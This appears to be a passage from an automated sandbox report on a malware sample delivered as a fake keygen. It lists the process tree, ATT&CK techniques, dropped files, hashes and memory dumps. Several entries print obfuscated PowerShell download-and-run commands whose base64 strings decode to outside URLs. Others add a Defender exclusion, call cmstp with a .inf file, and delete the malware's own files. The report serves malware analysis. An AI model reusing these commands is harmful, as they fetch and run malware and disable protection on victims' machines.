"C:\Windows\System32\cmd.exe" /c taskkill /pid 5024 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\034820910708369\\* & exit
9⤵
PID:4172

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 5024
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4696

C:\Users\Public\guw.exe
"C:\Users\Public\guw.exe"
6⤵
- Executes dropped EXE
PID:4264

C:\Users\Public\guw.exe
"C:\Users\Public\guw.exe"
6⤵
- Executes dropped EXE
PID:4336

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2448

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:192

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:60

C:\Users\Public\fyp.exe
"C:\Users\Public\fyp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5080

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4244

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1896

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1896 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\521443719452228\\* & exit
8⤵
PID:3972

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1896
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3772

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4384

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:624

C:\Users\Public\fyp.exe
"C:\Users\Public\fyp.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4576

C:\Users\Admin\AppData\Local\Temp\fp9suWP2us.exe
"C:\Users\Admin\AppData\Local\Temp\fp9suWP2us.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
"Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\fp9suWP2us.exe"'
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Users\Admin\AppData\Local\Temp\Jmh7TnAanY.exe
"C:\Users\Admin\AppData\Local\Temp\Jmh7TnAanY.exe"
7⤵
- Executes dropped EXE
PID:4120

C:\Users\Admin\AppData\Local\Temp\uI4RfUxIpn.exe
"C:\Users\Admin\AppData\Local\Temp\uI4RfUxIpn.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:984

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xzr2d0xi.inf
8⤵
PID:4748

C:\Users\Admin\AppData\Local\Temp\mB6rrUvUhh.exe
"C:\Users\Admin\AppData\Local\Temp\mB6rrUvUhh.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\fyp.exe"
7⤵
PID:2704

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4116

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:184

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\owesmkhd.exe
2⤵
PID:4616

C:\Windows\temp\owesmkhd.exe
C:\Windows\temp\owesmkhd.exe
3⤵
- Executes dropped EXE
PID:4332

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\CE04.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\Jmh7TnAanY.exe
MD5
013db621a3351e3fb049efd2ccad79ff

SHA1
a23394ea54dbc5342a77938a2c285ee616185560

SHA256
df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

SHA512
1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\fp9suWP2us.exe

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C:\Users\Admin\AppData\Local\Temp\fp9suWP2us.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\mB6rrUvUhh.exe

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C:\Users\Admin\AppData\Local\Temp\mB6rrUvUhh.exe

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C:\Users\Admin\AppData\Local\Temp\uI4RfUxIpn.exe

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C:\Users\Admin\AppData\Local\Temp\uI4RfUxIpn.exe

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C:\Users\Public\fyp.exe

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C:\Users\Public\fyp.exe

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C:\Users\Public\fyp.exe

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C:\Users\Public\guw.exe

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C:\Users\Public\guw.exe

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C:\Users\Public\guw.exe

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C:\Users\Public\guw.exe

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C:\Users\Public\vra.exe

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C:\Users\Public\vra.exe

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C:\Users\Public\vra.exe

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C:\Windows\Temp\owesmkhd.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\owesmkhd.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\xzr2d0xi.inf

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\sqlite3.dll

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memory/60-33-0x0000000000000000-mapping.dmp

Download
memory/60-38-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/60-49-0x0000000007B60000-0x0000000007B61000-memory.dmp

Filesize
4KB

Download
memory/60-97-0x0000000009330000-0x0000000009331000-memory.dmp

Filesize
4KB

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memory/192-16-0x0000000000000000-mapping.dmp

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memory/624-177-0x000000000041A684-mapping.dmp

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memory/984-300-0x00000000004F0000-0x00000000004F1000-memory.dmp

Filesize
4KB

Download
memory/984-294-0x0000000000000000-mapping.dmp

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memory/984-297-0x0000000071840000-0x0000000071F2E000-memory.dmp

Filesize
6.9MB

Download
memory/984-306-0x0000000002800000-0x0000000002801000-memory.dmp

Filesize
4KB

Download
memory/984-314-0x000000000A560000-0x000000000A572000-memory.dmp

Filesize
72KB

Download
memory/984-351-0x000000000AFA0000-0x000000000AFA5000-memory.dmp

Filesize
20KB

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memory/1000-147-0x0000000000000000-mapping.dmp

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memory/1160-235-0x0000000000000000-mapping.dmp

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memory/1336-19-0x0000000000000000-mapping.dmp

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memory/1336-73-0x00000000085E0000-0x00000000085E1000-memory.dmp

Filesize
4KB

Download
memory/1336-40-0x0000000007980000-0x0000000007981000-memory.dmp

Filesize
4KB

Download
memory/1336-29-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/1624-325-0x0000000008160000-0x0000000008161000-memory.dmp

Filesize
4KB

Download
memory/1624-365-0x00000000072A0000-0x00000000072A1000-memory.dmp

Filesize
4KB

Download
memory/1624-361-0x00000000072B0000-0x00000000072B1000-memory.dmp

Filesize
4KB

Download
memory/1624-328-0x0000000008510000-0x0000000008511000-memory.dmp

Filesize
4KB

Download
memory/1624-319-0x0000000071840000-0x0000000071F2E000-memory.dmp

Filesize
6.9MB

Download
memory/1624-318-0x0000000000000000-mapping.dmp

Download
memory/1624-331-0x00000000097D0000-0x0000000009803000-memory.dmp

Filesize
204KB

Download
memory/1624-338-0x00000000097B0000-0x00000000097B1000-memory.dmp

Filesize
4KB

Download
memory/1624-339-0x0000000009910000-0x0000000009911000-memory.dmp

Filesize
4KB

Download
memory/1632-342-0x0000000000000000-mapping.dmp

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memory/1632-344-0x0000000071840000-0x0000000071F2E000-memory.dmp

Filesize
6.9MB

Download
memory/1848-18-0x0000000000000000-mapping.dmp

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memory/1848-26-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/1896-178-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/1896-172-0x0000000000417A8B-mapping.dmp

Download
memory/2100-233-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/2100-240-0x000000000A5D0000-0x000000000A621000-memory.dmp

Filesize
324KB

Download
memory/2100-231-0x0000000071770000-0x0000000071E5E000-memory.dmp

Filesize
6.9MB

Download
memory/2100-237-0x00000000021C0000-0x00000000021C1000-memory.dmp

Filesize
4KB

Download
memory/2100-228-0x0000000000000000-mapping.dmp

Download
memory/2164-61-0x00000000076F0000-0x00000000076F1000-memory.dmp

Filesize
4KB

Download
memory/2164-67-0x0000000007760000-0x0000000007761000-memory.dmp

Filesize
4KB

Download
memory/2164-20-0x0000000000000000-mapping.dmp

Download
memory/2164-28-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/2196-27-0x0000000000000000-mapping.dmp

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memory/2236-9-0x0000000000000000-mapping.dmp

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memory/2448-14-0x0000000000000000-mapping.dmp

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memory/2704-302-0x0000000000000000-mapping.dmp

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memory/3076-3-0x0000000000000000-mapping.dmp

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memory/3076-2-0x0000000000000000-mapping.dmp

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memory/3084-7-0x0000000000000000-mapping.dmp

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memory/3224-30-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/3224-79-0x0000000008A70000-0x0000000008A71000-memory.dmp

Filesize
4KB

Download
memory/3224-17-0x0000000000000000-mapping.dmp

Download
memory/3224-55-0x0000000007A00000-0x0000000007A01000-memory.dmp

Filesize
4KB

Download
memory/3224-34-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

Filesize
4KB

Download
memory/3376-0-0x0000000000000000-mapping.dmp

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memory/3444-10-0x0000000000000000-mapping.dmp

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memory/3508-166-0x0000000000417A8B-mapping.dmp

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memory/3508-163-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/3508-179-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/3772-236-0x0000000000000000-mapping.dmp

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memory/3900-12-0x0000000000000000-mapping.dmp

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memory/3964-232-0x0000000000000000-mapping.dmp

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memory/3968-298-0x0000000005700000-0x0000000005701000-memory.dmp

Filesize
4KB

Download
memory/3968-343-0x00000000059A0000-0x00000000059C4000-memory.dmp

Filesize
144KB

Download
memory/3968-287-0x0000000071840000-0x0000000071F2E000-memory.dmp

Filesize
6.9MB

Download
memory/3968-284-0x0000000000000000-mapping.dmp

Download
memory/3968-288-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Filesize
4KB

Download
memory/3968-341-0x0000000005970000-0x0000000005993000-memory.dmp

Filesize
140KB

Download
memory/3972-229-0x0000000000000000-mapping.dmp

Download
memory/3976-32-0x0000000000000000-mapping.dmp

Download
memory/4100-215-0x0000000000000000-mapping.dmp

Download
memory/4116-310-0x0000000000000000-mapping.dmp

Download
memory/4120-292-0x0000000000000000-mapping.dmp

Download
memory/4156-106-0x0000000009750000-0x0000000009751000-memory.dmp

Filesize
4KB

Download
memory/4156-109-0x000000000A7D0000-0x000000000A7D1000-memory.dmp

Filesize
4KB

Download
memory/4156-103-0x0000000009930000-0x0000000009931000-memory.dmp

Filesize
4KB

Download
memory/4156-39-0x0000000000000000-mapping.dmp

Download
memory/4156-91-0x0000000009C50000-0x0000000009C51000-memory.dmp

Filesize
4KB

Download
memory/4156-85-0x00000000085B0000-0x00000000085B1000-memory.dmp

Filesize
4KB

Download
memory/4156-46-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/4172-264-0x0000000000000000-mapping.dmp

Download
memory/4208-144-0x0000000000000000-mapping.dmp

Download
memory/4244-143-0x0000000000000000-mapping.dmp

Download
memory/4332-379-0x0000000000000000-mapping.dmp

Download
memory/4332-378-0x0000000000000000-mapping.dmp

Download
memory/4336-220-0x000000000043FCC3-mapping.dmp

Download
memory/4336-219-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/4336-222-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/4380-242-0x0000000000000000-mapping.dmp

Download
memory/4384-149-0x0000000000000000-mapping.dmp

Download
memory/4576-164-0x000000000043FCC3-mapping.dmp

Download
memory/4576-170-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4596-168-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4596-162-0x000000000043FCC3-mapping.dmp

Download
memory/4596-160-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4616-377-0x0000000000000000-mapping.dmp

Download
memory/4652-176-0x000000000041A684-mapping.dmp

Download
memory/4652-171-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4652-181-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4696-267-0x0000000000000000-mapping.dmp

Download
memory/4748-352-0x0000000000000000-mapping.dmp

Download
memory/4748-356-0x0000000004D00000-0x0000000004D01000-memory.dmp

Filesize
4KB

Download
memory/4748-358-0x0000000004E00000-0x0000000004E01000-memory.dmp

Filesize
4KB

Download
memory/4800-317-0x000000000B940000-0x000000000B943000-memory.dmp

Filesize
12KB

Download
memory/4800-299-0x0000000000000000-mapping.dmp

Download
memory/4800-305-0x0000000071840000-0x0000000071F2E000-memory.dmp

Filesize
6.9MB

Download
memory/4800-307-0x0000000000D50000-0x0000000000D51000-memory.dmp

Filesize
4KB

Download
memory/4800-313-0x0000000005650000-0x0000000005661000-memory.dmp

Filesize
68KB

Download
memory/4800-309-0x0000000001730000-0x0000000001731000-memory.dmp

Filesize
4KB

Download
memory/4904-255-0x0000000001250000-0x0000000001251000-memory.dmp

Filesize
4KB

Download
memory/4904-252-0x0000000072090000-0x000000007277E000-memory.dmp

Filesize
6.9MB

Download
memory/4904-250-0x0000000000000000-mapping.dmp

Download
memory/4904-277-0x000000000ACB0000-0x000000000ACD4000-memory.dmp

Filesize
144KB

Download
memory/4904-253-0x0000000000830000-0x0000000000831000-memory.dmp

Filesize
4KB

Download
memory/5004-283-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5004-281-0x000000000041A684-mapping.dmp

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memory/5004-280-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5024-246-0x0000000000417A8B-mapping.dmp

Download
memory/5024-245-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/5024-248-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/5048-216-0x0000000005F90000-0x0000000005F9D000-memory.dmp

